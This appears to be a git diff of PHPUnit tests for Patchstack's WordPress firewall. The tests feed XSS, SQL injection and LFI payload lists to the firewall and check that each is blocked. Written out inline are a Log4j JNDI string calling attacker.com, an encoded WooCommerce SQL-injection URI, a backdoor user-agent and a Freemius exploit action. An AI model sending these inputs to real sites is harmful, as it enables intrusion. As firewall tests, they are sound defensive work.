11<?php declare (strict_types=1 );
22use PHPUnit \Framework \TestCase ;
3-
43use Patchstack \Processor ;
54use Patchstack \Extensions \Test \Extension ;
65
@@ -18,6 +17,8 @@ final class FirewallLegacyTest extends TestCase
1817
1918 /**
2019 * Setup the test for testing the header location redirect.
20+ *
21+ * @return void
2122 */
2223 protected function setUp (): void
2324 {
@@ -28,6 +29,7 @@ protected function setUp(): void
2829 * Setup the firewall processor.
2930 *
3031 * @param array $rules
32+ * @return void
3133 */
3234 private function setUpFirewallProcessor (array $ rules )
3335 {
@@ -41,8 +43,12 @@ private function setUpFirewallProcessor(array $rules)
4143
4244 /**
4345 * Alters the payload between tests.
46+ * For most firewall rules there's no difference if testing against GET or POST.
47+ * Therefore, both can be used for testing payloads.
48+ *
49+ * @return void
4450 */
45- private function alterPayload (array $ payload )
51+ private function alterPayload (array $ payload = [] )
4652 {
4753 $ _POST = [];
4854 $ _GET = [];
@@ -53,6 +59,8 @@ private function alterPayload(array $payload)
5359
5460 /**
5561 * Testing all firewall rules with no payload should result nothing.
62+ *
63+ * @return void
5664 */
5765 public function testAllRules ()
5866 {
@@ -62,16 +70,109 @@ public function testAllRules()
6270
6371 /**
6472 * Test different cross-site scripting attacks.
73+ *
74+ * @return void
6575 */
6676 public function testXSS ()
6777 {
6878 $ this ->setUpFirewallProcessor ($ this ->rules );
6979
70- // Basic JavaScript alert through a GET parameter.
80+ // Load list of about 1000 XSS payloads.
81+ $ payloads = file_get_contents (dirname (__FILE__ ) . '/data/PayloadsXSS.txt ' );
82+ $ payloads = explode ("\n" , $ payloads );
83+ foreach ($ payloads as $ payload ){
84+ if (trim ($ payload ) == '' ){
85+ continue ;
86+ }
87+
88+ $ this ->alterPayload (['GET ' => [
89+ 'q ' => $ payload
90+ ]]);
91+ $ this ->assertFalse ($ this ->processor ->legacyProcessor (false ), 'Testing XSS failed with payload: ' . $ payload );
92+ }
93+ }
94+
95+ /**
96+ * Test different SQL injection attacks.
97+ *
98+ * @return void
99+ */
100+ public function testSQLI ()
101+ {
102+ $ this ->setUpFirewallProcessor ($ this ->rules );
103+
104+ // Load list of about 1000 XSS payloads.
105+ $ payloads = file_get_contents (dirname (__FILE__ ) . '/data/PayloadsSQLI.txt ' );
106+ $ payloads = explode ("\n" , $ payloads );
107+ foreach ($ payloads as $ payload ){
108+ if (trim ($ payload ) == '' ){
109+ continue ;
110+ }
111+
112+ $ this ->alterPayload (['GET ' => [
113+ 'q ' => $ payload
114+ ]]);
115+ $ this ->assertFalse ($ this ->processor ->legacyProcessor (false ), 'Testing SQLI failed with payload: ' . $ payload );
116+ }
117+ }
118+
119+ /**
120+ * Test different local file inclusion attacks.
121+ *
122+ * @return void
123+ */
124+ public function testLFI ()
125+ {
126+ $ this ->setUpFirewallProcessor ($ this ->rules );
127+
128+ // Load list of about 1000 XSS payloads.
129+ $ payloads = file_get_contents (dirname (__FILE__ ) . '/data/PayloadsLFI.txt ' );
130+ $ payloads = explode ("\n" , $ payloads );
131+ foreach ($ payloads as $ payload ){
132+ if (trim ($ payload ) == '' ){
133+ continue ;
134+ }
135+
136+ $ this ->alterPayload (['GET ' => [
137+ 'q ' => $ payload
138+ ]]);
139+ $ this ->assertFalse ($ this ->processor ->legacyProcessor (false ), 'Testing LFI failed with payload: ' . $ payload );
140+ }
141+ }
142+
143+ /**
144+ * Test different WordPress specific attacks.
145+ *
146+ * @return void
147+ */
148+ public function testWordPressSpecific ()
149+ {
150+ $ this ->setUpFirewallProcessor ($ this ->rules );
151+
152+ // Block Freemius vulnerability through action method.
71153 $ this ->alterPayload (['GET ' => [
72- 'q ' => '<script>alert(1)</script> '
154+ 'action ' => 'fs_retry_connectivity_test_ '
73155 ]]);
74- $ this ->processor ->legacyProcessor ();
156+ $ this ->assertFalse ($ this ->processor ->legacyProcessor (false ));
157+
158+ // Block AccessPress backdoor through user-agent.
159+ $ _SERVER ['HTTP_USER_AGENT ' ] = 'wp_is_mobile ' ;
160+ $ this ->alterPayload ();
161+ $ this ->assertFalse ($ this ->processor ->legacyProcessor (false ));
162+ $ _SERVER ['HTTP_USER_AGENT ' ] = '' ;
163+
164+ // Block Apache Log4j vulnerability.
165+ $ this ->alterPayload ([
166+ 'GET ' => [
167+ 'q ' => '${jndi:ldap://attacker.com/reference} '
168+ ]
169+ ]);
170+ $ this ->assertFalse ($ this ->processor ->legacyProcessor (false ));
75171
172+ // Block WooCommerce SQL injection.
173+ $ this ->alterPayload ();
174+ $ _SERVER ['REQUEST_URI ' ] = '/wp-json/wc/store/products/collection-data?calculate_attribute_counts\[\]\[query_type\]=and&calculate_attribute_counts\[\]\[taxonomy\]=poc%252522%252529%252520OR%252520SLEEP%2525281%252529%252523 ' ;
175+ $ this ->assertFalse ($ this ->processor ->legacyProcessor (false ));
176+ $ _SERVER ['REQUEST_URI ' ] = '' ;
76177 }
77178}
0 commit comments